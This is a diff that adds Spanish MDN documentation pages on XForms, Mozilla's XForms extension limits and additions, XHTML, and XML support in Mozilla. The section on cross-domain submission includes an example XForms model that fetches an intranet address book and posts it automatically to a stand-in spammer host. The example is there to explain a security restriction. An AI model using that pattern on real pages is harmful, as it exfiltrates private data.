+<p><strong>XForms</strong> es la evolución de los formularios en linea que a ideado el W3C. Apoyandose en otros estándares del W3C como <a href="/es/Esquema_XML" title="es/Esquema_XML">Esquema XML</a>, <a href="/es/XPath" title="es/XPath">XPath</a> y <a href="/es/Eventos_XML" title="es/Eventos_XML">Eventos XML</a>, trata de solventar algunas de las limitaciones del modelo actual de los formularios <a href="/es/HTML" title="es/HTML">HTML</a>.</p>
+<p>Otras ventajas de <strong>XForms</strong> son: la separación entre datos y presentación, el <a class="external" href="http://es.wikipedia.org/wiki/Fuertemente_tipado">tipado fuerte</a> de los datos, la capacidad para enviar los datos como <a href="/es/XML" title="es/XML">XML</a> en lugar de usar pares <code>name/value</code>, y un modo descriptivo para crear formularios que puedan ser mostrarán en una amplia gama de dispositivos.</p>
+<p>Para que <strong>Firefox</strong> y <strong>SeaMonkey</strong> soporten <strong>XForms</strong> es necesario instalar la <a class="external" href="http://www.mozilla.org/projects/xforms">extensión de XForms de Mozilla</a>.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentación"><a href="/Special:Tags?tag=XForms&amp;language=es" title="Special:Tags?tag=XForms&amp;language=es">Documentación</a></h4> <dl> <dt><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/">XForms 1.0 (Second Edition)(en)</a></dt> <dd><small>W3C Recommendation 14 March 2006</small></dd> </dl> <dl> <dt><a class="external" href="http://www.infoescena.es/achuter/web/w3cdocs/xforms-for-html-authors_es.html">XForms para diseñadores HTML</a></dt> <dd><small>"XForms es un nuevo lenguaje de marcas para formularios en la Web. Este documento es una introducción rápida a XForms para los diseñadores de formularios HTML."</small></dd> </dl> <dl> <dt><a class="external" href="http://www.w3c.es/traducciones/es/MarkUp/Forms/2003/xforms-faq">Preguntas frecuentes sobre XForms 1.0</a></dt> <dd><small>"Este documento surge por parte de los miembros del Grupo de Trabajo de XForms como un repositorio de preguntas frecuentes sobre XForms 1.0."</small></dd> </dl> <dl> <dt><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials (en)</a></dt> <dd><small>Libro online que te guiará (en inglés) por XForms.</small></dd> </dl> <dl> <dt><a href="/es/XForms/Soporte_en_Mozilla" title="es/XForms/Soporte_en_Mozilla">Soporte a XForms en Mozilla</a></dt> <dd><small>Explicación de donde esta la implementación de XForms para Mozilla en el camino hacia la especificación 1.0 de XForms.</small></dd> </dl> <p><span>los comento por que veo demasiado rojo en la portada ; <a href="/es/XForms:Trucos" title="es/XForms:Trucos">Trucos para XForms</a>: &lt;small&gt;Pequeña colección de trucos para resolver problemas comunes con formularios XForms.&lt;/small&gt;  ; <a href="/es/XForms:Controles" title="es/XForms:Controles">Controles XForms</a>: &lt;small&gt;Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG &lt;code&gt;input&lt;/code&gt; control.&lt;/small&gt;  ; <a href="/es/XForms:Preferencias_de_Usuario" title="es/XForms:Preferencias de Usuario">Preferencias de usuario en XForms</a>: &lt;small&gt;Una breve descripción de la variables de &lt;code&gt;about:config&lt;/code&gt; que usa XForms.&lt;/small&gt;  ; <a href="/Project:es/Referencia_del_marcado_Wiki" title="Project:es/Referencia del marcado Wiki">Referencia del API de XForms</a>: &lt;small&gt;Documentación de las interfaces de XForms.&lt;/small&gt;</span> <span><a href="/Special:Tags?tag=XForms&amp;language=es" title="Special:Tags?tag=XForms&amp;language=es">Ver más...</a></span></p> </td> <td> <h4 id="Comunidad">Comunidad</h4> <ul> <li>Ver foros de Mozilla en inglés.</li> </ul> <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xforms"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xforms"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xforms/feeds"> como RSS</a></li>
+</ul><p></p> <p><span><a href="/es/XForms/Comunidad" title="es/XForms/Comunidad">Ver más...</a></span></p> <h4 id="Herramientas">Herramientas</h4> <ul> <li><a class="external" href="http://xformsinstitute.com/validator/">validador de XForms</a></li> <li><a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a></li> </ul> <p><span><a href="/Special:Tags?tag=XForms:herramientas&amp;language=es" title="Special:Tags?tag=XForms:herramientas&amp;language=es">Ver más...</a></span></p> <h4 id="Temas_relacionados">Temas relacionados</h4> <dl> <dd><a href="/es/Extensiones" title="es/Extensiones">Extensiones</a>, <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XHTML" title="es/XHTML">XHTML</a>, <a href="/es/XML" title="es/XML">XML</a>, <a href="/es/XPath" title="es/XPath">XPath</a>.</dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span>Categorías</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+<p></p>
diff --git a/files/es/xforms/soporte_en_mozilla/index.html b/files/es/xforms/soporte_en_mozilla/index.html
new file mode 100644
index 0000000000..94d1577000
--- /dev/null
+++ b/files/es/xforms/soporte_en_mozilla/index.html
@@ -0,0 +1,116 @@
+---
+title: Mozilla XForms Specials
+slug: XForms/Soporte_en_Mozilla
+tags:
+  - Todas_las_Categorías
+  - XForms
+  - páginas_a_traducir
+translation_of: Archive/Web/XForms/Mozilla_XForms_Specials
+---
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+
+<p>Este artículo dá una vista rápida sobre "dónde" se desvía la extensión Mozilla XForms respecto de la especificación oficial <em>XForms 1.0 </em>. Esto cubre ambas limitaciones, en la extensión y en extensiones personalizadas.</p>
+
+<h3 id="Limitaciones" name="Limitaciones">Limitaciones</h3>
+
+<h4 id="Repetir_usando_atributos" name="Repetir_usando_atributos">Repetir usando atributos</h4>
+
+<p>Las especificaciones hacen mención ha <a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Creating Repeating Structures Via Attributes"</a>, esto es parcialmente soportadas.</p>
+
+<p>(limitación registrada en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=280368" title="FIXED: Support attribute-based repeats (first step)">error 280368</a>)</p>
+
+<h4 id="Mezcla_de_repetici.C3.B3n_de_tags_table_o_ul" name="Mezcla_de_repetici.C3.B3n_de_tags_table_o_ul">Combinando Repeat y <code>table</code> ó <code>ul</code></h4>
+
+<p>No es posible combinar <span style="font-size: small;"><em>repeat</em></span> ní con <span style="font-size: medium;"><em><code>table</code> </em></span>ó <span style="font-size: small;"><em>ul</em></span>. Esto significa que <strong>NO ES POSIBLE</strong> hacer lo siguiente:</p>
+
+<div class="warning">
+<pre>&lt;table&gt;
+  &lt;xf:repeat ...&gt;
+    &lt;tr&gt; ... &lt;/tr&gt;
+  &lt;/xf:repeat&gt;
+&lt;/table&gt;
+</pre>
+</div>
+
+<p>ó</p>
+
+<div class="warning">
+<pre>&lt;ul&gt;
+  &lt;xf:repeat ...&gt;
+    &lt;li&gt; ... &lt;/li&gt;
+  &lt;/xf:repeat&gt;
+&lt;/ul&gt;
+</pre>
+</div>
+
+<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">La sección 9.3.2</a> establece que las combinaciones con <em>table</em> probablemente nunca funcionarán. Las combinaciones con <em>ul</em> deben sufrir la misma limitación, aunque no deberían producir errores fatales como tampoco lo hace (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=330022" title="FIXED: CRASH using repeat + ul/li">error 330022</a>).</p>
+
+<h4 id="Soporte_a_pseudo_clases" name="Soporte_a_pseudo_clases">Soporte para Pseudo Clases</h4>
+
+<p>Actualmente soportamos todas las Pseudo Clases en XForms (<code>:enabled, :disabled</code>, etc. ), <strong>a excepción de</strong> <code>:read-only</code> y <code>:read-write</code>, por no tener un comportamiento no específico para (X)<a href="/es/HTML" title="es/HTML">HTML</a>. En su lugar se debe usar<code>:-moz-read-only</code> and <code>:-moz-read-write</code>, por el momento.</p>
+
+<p>(limitación registrada en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=313111" title="Use :read-only/:read-write instead of :-moz-read-only/:-moz-read-write">error 313111</a>)</p>
+
+<h4 id="Soporte_de_pseudo_elementos" name="Soporte_de_pseudo_elementos">Soporte de pseudo elementos</h4>
+
+<p>No se soportan los pseudo elementos (<code>::value, ::repeat-item, y ::repeat-index</code> ). En su lugar se deben usar las siguientes clases:</p>
+
+<ul>
+ <li><code>xf-value</code></li>
+ <li><code>xf-repeat-item</code></li>
+ <li><code>xf-repeat-index</code></li>
+</ul>
+
+<p>Por ejemplo, para tomar el valor de un control <code>input</code>, hay que usar:</p>
+
+<pre>@namespace xf url("http://www.w3.org/2002/xforms");
+xf|input .xf-value {
+  ...
+}
+</pre>
+
+<p>Los pseudo elementos están definidos en la <em>Especificación de Interfaz Básico para el Usuario <a href="/es/CSS" title="es/CSS">CSS</a>3</em> .</p>
+
+<p>(Limitation registrada en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=271724" title="Implement CSS pseudoelements needed for XForms">error 271724</a>)</p>
+
+<h3 id="Extensiones" name="Extensiones">Extensiones</h3>
+
+<h4 id="Enumerar_instancias" name="Enumerar_instancias">Enumerando instancias</h4>
+
+<p>El elemento estandarizado <a href="/es/NsIXFormsModelElement" title="es/NsIXFormsModelElement">nsIXFormsModelElement</a> no permite enumerar todas las posibles instancias, sino sólo recuperar instancias por sus nombres. En la <em>Extensión XForms de Mozilla</em> hemos añadido una función <code>getInstanceDocuments()</code> a el <em>modelo</em> que retorna todas las <em>instancias modelo</em> del documento. Esto está documentado en <a href="/es/NsIXFormsNSModelElement" title="es/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.</p>
+
+<h4 id="Llegar_al_elemento_de_instancia_desde_un_nodo_de_datos" name="Llegar_al_elemento_de_instancia_desde_un_nodo_de_datos">Obteniendo un elemento de instancia desde un nodo de dato</h4>
+
+<p>En la especificación XForms 1.0 no hay manera de conseguir el elemento <code>instance</code> desde la instancia de un nodo de dato. Hemos añadido una función a través de un llamado tipo <code>getFeature()</code> para cada nodo, lo que permite al autor del formulario hacer eso. Es decir: si <code>instanceNode</code> es un nodo dentro una instancia de un documento, entonces:</p>
+
+<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")</pre>
+
+<p>devolverá el elemento <code>&lt;instance&gt;</code> (dentro del documento principal) al cual pertenece el nodo.</p>
+
+<h4 id="Llegar_al_documento_de_instancia_desde_el_elemento_de_instancia" name="Llegar_al_documento_de_instancia_desde_el_elemento_de_instancia">Llegar a la instancia de documento desde la instancia de elemento</h4>
+
+<p>Según la especificación XForms 1.0 hay que usar el elemento <code>model</code> para obtener la <span style="font-size: x-small;">instance</span> del documento. Parece un poco torpe, cuando ya se dispone del elemento <code>instance</code>, así que hemos añadido una función <code>getInstanceDocument()</code> directamente en el elemento <code>instance</code> como un atajo. Esto está documentado en <a href="/es/NsIXFormsNSInstanceElement" title="es/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.</p>
+
+<h4 id="Interfaz_de_control_del_usuario" name="Interfaz_de_control_del_usuario">Interfaz de control del usuario</h4>
+
+<p>Hemos añadido mucha funcionalidad a nuestro interfaz de usuario, lo cual permite al autor del formulario crear sus propios <em>controles de usuario</em>. Ello implica publicar algo de funcionalidad (en un script) en todos nuestros controles, como <code>output</code>, <code>input</code>, etc., y permitir que el interfaz de usuario se represente en <a href="/es/XBL" title="es/XBL">XBL</a>. Más información en <a href="/es/XForms/Custom_Controls" title="es/XForms/Custom_Controls">XForms:Custom Controls</a>.</p>
+
+<h3 id="Misc" name="Misc">Misc</h3>
+
+<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Envíos cruzados a dominios</h4>
+
+<p>No es exactamente una limitación ni una extensión, pero es importante mencionarlo aquí. Por razones de seguridad, por fallo no es posible para un XForms enviar datos a otro dominio. Esto se por razones de seguridad. Información de como hacer una lista de confianza puede ser encontrada en la sección Release Notes</p>
+
+<p>El chequeo de envío entre dominios además incluye formas cargadas desde <code><a class="external" rel="freelink">file://</a></code>. Las formas cargadas desde esa URL deberían ser archivos locales y de confianza, pero no siempre son el caso. Por esto no hay listas de confianza automáticas de archivos locales.</p>
+
+<p>Si estás preguntándote porqué tenemos esta restricción, aquí hay un simple ejemplo del porqué:</p>
+
+<pre>&lt;xforms:model&gt;
+  &lt;xforms:instance src="http://intranetserver/addrbook.xml"/&gt;
+  &lt;xforms:submission id="sub" action="http://megaspammer.com/gather"
+                     method="post"/&gt;
+  &lt;xforms:send submission="sub" ev:event="xforms-ready"/&gt;
+&lt;/xforms:model&gt;
+</pre>
+
+<p>Esto traería algo que es accesible únicamente para tí (p.e. detrás de un cortafuegos) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, luego enviarlo a <code><span class="nowiki">http://megaspammer.com/gather</span></code> tan pronto como veas la XForm.</p>
diff --git a/files/es/xhtml/index.html b/files/es/xhtml/index.html
new file mode 100644
index 0000000000..63e9c8b5e7
--- /dev/null
+++ b/files/es/xhtml/index.html
@@ -0,0 +1,33 @@
+---
+title: XHTML
+slug: XHTML
+tags:
+  - HTML
+  - Todas_las_Categorías
+  - XHTML
+  - XML
+translation_of: Glossary/XHTML
+---
+<p>
+</p><p><b>XHTML</b> es a <a href="es/XML">XML</a> como <a href="es/HTML">HTML</a> es a <a href="es/SGML">SGML</a>. Es decir, XHTML es un lenguaje de marcado que es similar al HTML, pero con un sintaxis más estricta. Dos versiones de XHTML han sido terminadas por el <a class="external" href="http://www.w3.org/">W3C</a>:
+</p>
+<ul><li> <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xhtml/xhtml11.htm">XHTML 1.0</a> es HTML4 reformulado como una aplicación XML, y es compatible con versiones anteriores de HTML en casos limitados.
+</li><li> <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xhtml/xhtml11_es.html">XHTML 1.1</a> es una versión modular de XHTML que no es compatible con versiones anteriores de HTML.
+<ul><li> Para entender mejor la <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xhtml/modxhtml/index.html">Modularidad en XHTML</a>
+</li></ul>
+</li><li> <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xhtml/xhtml-basic.html">XHTML Básico</a> Es una versión simplificada pensada para los nuevos dispositivos de acceso a internet, como telefonos, PDAs, y otros.
+</li></ul>
+<p>Actualmente se encuentra en desarrollo <a class="external" href="http://www.w3.org/TR/xhtml2/">XHTML 2</a>, con cambios significativos en el vocabulario de elementos. Para más información sobre XHTML, lea:
+</p>
+<ul><li> <a class="external" href="http://es.wikipedia.org/wiki/XHTML">Artículo sobre XHTML en la Wikipedia</a>
+</li></ul>
+<h3 id="Herramientas" name="Herramientas"> Herramientas </h3>
+<ul><li> <a class="external" href="http://validator.w3.org/">Servicio de validación de XHTML (W3C)</a>
+</li></ul>
+<p><span class="alllinks"><a>Ver todas...</a></span>
+</p><p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki enlaces a otros idiomas</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XHTML", "fr": "fr/XHTML", "it": "it/XHTML", "ja": "ja/XHTML", "pl": "pl/XHTML", "pt": "pt/XHTML" } ) }}
diff --git a/files/es/xml_en_mozilla/index.html b/files/es/xml_en_mozilla/index.html
new file mode 100644
index 0000000000..7e2fa16791
--- /dev/null
+++ b/files/es/xml_en_mozilla/index.html
@@ -0,0 +1,280 @@
+---
+title: XML en Mozilla
+slug: XML_en_Mozilla
+tags:
+  - NecesitaRevisiónGramatical
+  - Todas_las_Categorías
+  - XML
+translation_of: Archive/Mozilla/XML_in_Mozilla
+---
+<p>Mozilla posee un buen soporte para <a href="es/XML">XML</a>. Varias recomendaciones y borradores del consorcio World Wide Web (<a class="external" href="http://w3c.org/">W3C</a>) para la familia de especificaciones XML están soportadas, al igual que otras tecnologías relacionadas.</p>
+
+<h3 id="Recomendaciones_W3C_para_el_n.C3.BAcleo_de_XML_soportadas" name="Recomendaciones_W3C_para_el_n.C3.BAcleo_de_XML_soportadas">Recomendaciones W3C para el núcleo de XML soportadas</h3>
+
+<p>El soporte para el núcleo de XML incluye análisis de XML sin validación (utilizando el analizador Expat), visualización de XML con CSS, manipulación de documentos XML con scripts vía DOM, asociación de hojas de estilo con documentos XML y espacios de nombres en XML. El soporte del núcleo es muy bueno y apenas tiene fallos.</p>
+
+<h4 id="DTDs_y_otras_entidades_externas" name="DTDs_y_otras_entidades_externas">DTDs y otras entidades externas</h4>
+
+<p>Mozilla no carga entidades externas desde la web sino que las carga internamente si su identificador del sistema utiliza el protocolo <code>chrome</code>. Esta característica es usada principalmente para <a href="es/XUL_Tutorial/Localization">traducir Mozilla a otros idiomas</a> (las cadenas de texto del UI ("User Interface", Interfaz de usuario) están almacenadas en ficheros DTD externos).</p>
+
+<p>Otra opción son las entidades cuyo identificador del sistema sea un camino relativo y la declaración XML establezca que el documento no sea del tipo<em>standalone</em> (es decir, que tenga un DTD asociado), que es el tipo predeterminado. En ese caso, Mozilla intentará buscar dichas entidades en el directorio &lt;bin&gt;/res/dtd/</p>
+
+<p>Adicionalmente, Mozilla puede hacer una excepción con los documentos XHTML (ver más abajo).</p>
+
+<p>Mozilla leerá los subconjuntos DTD internos y en circunstancias específicas los externos como se ha explicado anteriormente; y usará esta información para reconocer los atributos de tipo ID, los valores predeterminados de los atributos y las entidades generales.</p>
+
+<h4 id="Otras_notas" name="Otras_notas">Otras notas</h4>
+
+<p>Gran parte del Modelo de Objetos de Documento (<a class="external" href="http://www.w3.org/DOM/">DOM</a>, Recomendaciones y borradores del W3C) se aplica a XML. Al igual que las hojas de estilos en cascada (<a class="external" href="http://www.w3.org/Style/CSS/">CSS</a>, Recomendaciones y borradores del W3C), el lenguaje de estilo puede ser usado para aplicar estilos a los documentos XML.</p>
+
+<p>Puedes encontrar el código para la mayor parte del núcleo XML en los siguientes directorios del repositorio CVS de Mozilla: <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/" rel="custom">content/xml/</a></code>, <code><a href="https://dxr.mozilla.org/mozilla-central/source/parser/expat/" rel="custom">parser/expat/</a></code> y <code><a href="https://dxr.mozilla.org/mozilla-central/source/parser/htmlparser/" rel="custom">parser/htmlparser/</a></code>.</p>
+
+<p>El grupo de noticias para hablar sobre XML en Mozilla varía según la naturaleza de la pregunta. Por ejemplo, las preguntas relativas al DOM deberían de ser habladas en el grupo de noticias mozilla.dev.tech.dom mientras que los problemas de estilo deberían de ser discutidos en mozilla.dev.tech.css, etcétera... El grupo de noticias principal para XML es mozilla.dev.tech.xml.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Especificación o tecnología</td>
+   <td class="header">Estado y/o documentación adicional</td>
+  </tr>
+  <tr>
+   <td>XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/REC-xml">Recomendación del W3C</a></td>
+  </tr>
+  <tr>
+   <td>Espacios de nombres en XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/REC-xml-names/">Recomendación del W3C</a></td>
+  </tr>
+  <tr>
+   <td>Asociando hojas de estilos con documentos XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Recomendación del W3C</a></td>
+  </tr>
+  <tr>
+   <td>Aplicando estilos a documentos XML con CSS</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Manipulando documentos XML con scripts vía DOM</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Otras_recomendaciones_W3C_para_XML_soportadas" name="Otras_recomendaciones_W3C_para_XML_soportadas">Otras recomendaciones W3C para XML soportadas</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Especificación o tecnología</td>
+   <td class="header">Documentación</td>
+  </tr>
+  <tr>
+   <td>XHTML</td>
+   <td><a class="external" href="http://www.w3.org/TR/xhtml1/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>XML Base (sólo para enlaces, no usado por las pseudoclases de <a href="es/CSS">CSS</a> <code>:visited</code>, etc...)</td>
+   <td><a class="external" href="http://www.w3.org/TR/xmlbase/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>XLink (sólo XLinks simples)</td>
+   <td><a class="external" href="http://www.w3.org/TR/xlink/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>FIXptr</td>
+   <td><a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">Propuesta W3C</a></td>
+  </tr>
+  <tr>
+   <td>XPointer Framework</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-framework/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>Esquema <code>element()</code> de XPointer</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-element/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>Esquema <code>xmlns()</code> de XPointer</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-xmlns/">Recomendación W3C</a></td>
+  </tr>
+  <tr>
+   <td>Esquema <code>fixptr()</code> de XPointer</td>
+   <td>Este esquema es sólo una capa para FIXptr</td>
+  </tr>
+  <tr>
+   <td>Esquema <code>xpath1()</code> de XPointer</td>
+   <td><a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">Borrador de Internet</a></td>
+  </tr>
+  <tr>
+   <td><code>document.load()</code>, <code>document.async</code></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Parte del módulo Load &amp; Save del DOM nivel 3, un borrador del W3C</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="XHTML" name="XHTML">XHTML</h4>
+
+<p>El soporte existente para <a href="es/XHTML">XHTML</a> es razonablemente amplio y la mayoría de las cosas deberían de funcionar. El trato que se le da a los documentos XHTML difiere según el tipo <a href="es/MIME">MIME</a> (o la extensión del fichero si éste es cargado desde disco). Si un fichero es interpretado como <a href="es/HTML">HTML</a> no se comprobará que esté bien formado. También podrás advertir que no todas las características de XHTML son soportadas cuando se trabaja con HTML.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Tipo MIME</td>
+   <td class="header">Extensión</td>
+   <td class="header">Interpretación</td>
+  </tr>
+  <tr>
+   <td>text/xml<br>
+    application/xml<br>
+    application/xhtml+xml</td>
+   <td>xml<br>
+    xht<br>
+    xhtml</td>
+   <td>XML</td>
+  </tr>
+  <tr>
+   <td>text/html</td>
+   <td>html<br>
+    htm</td>
+   <td>HTML</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><br>
+ El documento en su totalidad no necesita ser XHTML. Puedes usar elementos propios de XHTML dentro de un document XML cualquiera usando el espacio de nombres de XHTML. Véase la sección <a href="#Testing_and_QA">Testing and QA</a> para ver algunos ejemplos. El espacio de nombres correcto de XHTML es <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code>.</p>
+
+<p>Por favor, date cuenta de que las entidades XHTML, como <code>&amp;auml;</code> funcionarán sólo en documentos que cumplan el estándar XHTML y que tengan un identificador público formal de XHTML (en otras palabras, una sección DOCTYPE con un identificador PUBLIC). Las entidades de XHTML no funcionarán en cualquier documento XML, ni siquiera empleando el espacio de nombres de XHTML. Los identificadores públicos reconocidos son:</p>
+
+<ol>
+ <li>-//W3C//DTD XHTML 1.0 Transitional//EN</li>
+ <li>-//W3C//DTD XHTML 1.1//EN</li>
+ <li>-//W3C//DTD XHTML 1.0 Strict//EN</li>
+ <li>-//W3C//DTD XHTML 1.0 Frameset//EN</li>
+ <li>-//W3C//DTD XHTML Basic 1.0//EN</li>
+ <li>-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN</li>
+ <li>-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN</li>
+ <li>-//W3C//DTD SVG 20001102//EN</li>
+ <li>-//WAPFORUM//DTD XHTML Mobile 1.0//EN</li>
+</ol>
+
+<h4 id="Enlace_y_apuntado_XML" name="Enlace_y_apuntado_XML">Enlace y apuntado XML</h4>
+
+<p>El soporte para enlaces XML incluye <a class="external" href="http://www.w3.org/TR/xmlbase">XML Base</a> (sólo utilizado cuando el ratón se superpone a o se hace clic en un enlace) y <a class="external" href="http://www.w3.org/TR/xlink/">XLinks</a> simple. Puedes convertir cualquier elemento XML en un XLink usando el espacio de nombres de XLink <code><span class="nowiki">http://www.w3.org/1999/xlink</span></code>. Puedes utilizar además los elementos enlazados del espacio de nombres de XHTML. Véase la sección <a href="#Pruebas_y_seguro_de_calidad">Pruebas y seguro de calidad</a> para ver algunos ejemplos.</p>
+
+<p>Para apuntar a recursos en documentos XML Mozilla también soporta <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">FIXptr</a>, una simplificada aunque incompatible versión de XPointer. Aparte de usar FIXptr en enlaces, es posible usarlo en scripts. Véase la interfaz propietaria <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">dom/public/idl/core/nsIDOMXMLDocument.idl</a></code>. Hay un caso de estudio para <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=46954&amp;action=view">enlaces FIXptr</a> y un <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=61629&amp;action=view">ejemplo de script</a>.</p>
+
+<p>Desde la versión 1.4 alpha, Mozilla también soporta el <a class="external" href="http://www.w3.org/TR/xptr-framework/">XPointer Framework</a>, el <a class="external" href="http://www.w3.org/TR/xptr-element/">esquema <code>element()</code> de XPointer</a>, el <a class="external" href="http://www.w3.org/TR/xptr-xmlns/">esquema <code>xmlns()</code> de XPointer</a>, el esquema <code>fixptr()</code> XPointer y <a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">esquema <code>xpath1()</code> de XPointer</a>. El procesador para XPointer es ampliable y es fácil implementar soporte para otros esquemas (echa un vistazo al <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/document/public/nsIXPointer.idl" rel="custom">API</a>). El esquema <code>xpath1()</code> fue <a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/src/xpath/nsXPath1Scheme.cpp" rel="custom">implementado usando este mecanismo ampliable</a>. Hay además una <a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">API propietaria de scripts</a> para el procesador de XPointer. Existe un <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=119333&amp;action=view">caso de estudio para XPointers</a> que quizá te gustaría revisar.</p>
+
+<p>Por último, hay una característica que quizá te gustaría probar (siendo especialmente útil con FIXptr) que seleccionará el enlace destino cuando lo el ratón lo sobrevuele. Desgraciadamente no hay una UI (interfaz de usuario) para activar esta característica por lo que necesitarás editar el fichero de preferencias manualmente añadiendo esta línea:</p>
+
+<pre>pref("layout.selectanchor", true);
+</pre>
+
+<h4 id="M.C3.A9todos_Load_y_Save_de_DOM" name="M.C3.A9todos_Load_y_Save_de_DOM">Métodos Load y Save de DOM</h4>
+
+<p><code>document.load()</code> es parte de una antigua versión del <a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Módulo Load &amp; Save Nivel 3</a>. Actualmente, Mozilla sólo implementa el método <code>load()</code> y la propiedad <code>async</code>. Desde la versión 1.4 alpha, ha sido posible cargar documentos de modo síncrono (antes sólo se podían cargar de modo asíncrono). <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests/load/" rel="custom">Véase el ejemplo de carga</a> en el directorio de pruebas de XML (la carga del fichero load.html desde la página generada LXR no funcionará porque LXR convertirá el fichero test.xml a HTML y lo servirá como tal. Para probar esta funcionalidad, crea los ficheros en tu disco local o en un servidor web.)</p>
+
+<h3 id="Otras_recomendaciones_W3C_soportadas_para_XML" name="Otras_recomendaciones_W3C_soportadas_para_XML">Otras recomendaciones W3C soportadas para XML</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Especificación o tecnología</td>
+   <td class="header">Documentación</td>
+   <td class="header">Proyecto Mozilla</td>
+  </tr>
+  <tr>
+   <td><a href="es/XSLT">XSLT</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/xslt">Recomendación W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/XPath">XPath</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/xpath">Recomendación W3C</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/XMLHttpRequest">XMLHttpRequest</a></td>
+   <td><a class="external" href="http://msdn.microsoft.com/library/psdk/xmlsdk/xmld8bp0.htm">Microsoft</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/DOMParser">DOMParser</a> and <a href="es/XMLSerializer">XMLSerializer</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">Mozilla</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/SOAP_in_Gecko-based_Browsers">SOAP</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/SOAP/">W3C Note</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Servicios Web</a></td>
+  </tr>
+  <tr>
+   <td><a href="es/XML-RPC">XML-RPC</a></td>
